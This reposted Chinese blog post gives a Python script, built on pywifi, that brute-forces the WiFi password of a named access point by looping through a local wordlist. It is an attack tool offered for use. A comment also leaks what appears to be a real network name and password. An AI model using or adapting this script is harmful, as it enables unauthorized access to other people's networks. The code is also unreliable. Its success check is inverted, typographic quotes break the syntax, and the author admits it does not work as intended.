您的位置:首页 > 编程语言 > Python开发

Python暴力破解WIFI密码(转载)

2020-04-05 10:57 246 查看

来源:
Python暴力破解WIFI密码
https://v.youku.com/v_show/id_XNDA5OTIwOTEwMA==.html?spm=a2hcb.playlsit.page.33

代码如下

‘# coding:utf-8
‘’’
1.导入模块
2.抓取第一个网卡接口
3.断开WiFi连接
4.从密码本上读取密码,不断的去试
5.设置睡眠时间,3秒左右
万能钥匙连接的WIFI:T:WPA;S:TP-LINK_888;P:13622568;;

‘’’
import pywifi,time
from pywifi import const
#ssid名称,WiFi密码
def wificonnect(wifiname,wifipwd):
‘’‘WiFi的测试连接’’’
wifi=pywifi.PyWiFi()
print(wifi)
ifaces=wifi.interfaces()[0]
print(ifaces)
#断开WiFi连接
#ifaces.disconnect()
time.sleep(0.5)
if ifaces.status()==const.IFACE_DISCONNECTED:
#创建WiFi连接文件
profile=pywifi.Profile()
#wifi名称
profile.ssid =wifiname
#密码
profile.key=wifipwd
#wifi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#网卡的开放
profile.auth=const.AUTH_ALG_OPEN
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
#删除所有的WiFi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
temp_profile=ifaces.add_network_profile(profile)
#连接WiFi
ifaces.connect(temp_profile)
time.sleep(3)
if ifaces.status()==const.IFACE_DISCONNECTED:
return True
else:
return False
def read_pwd():
‘’‘读取密码本’’’
print(‘开始破解:’)
path=‘E:\MyProject\PyTest01\LinkToWifi\wordlist.txt’
#制度方式打开文件
file=open(path,‘r’)
#死循环不断尝试密码
while True:
try:
wifipwd=file.readline()
bool=wificonnect(‘TP-LINK_03E5’,wifipwd)
if bool:
print(‘密码正确’+wifipwd)
#exit()
break #break只能退出一层循环
else:
print(‘密码错误’+wifipwd)
except:
continue
file.close()
read_pwd()

#打断程序用exit(),但是上述代码在正常连接上某个WiFi才能运行,不连接WiFi反而不能运行,具体原因还等大神指教。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: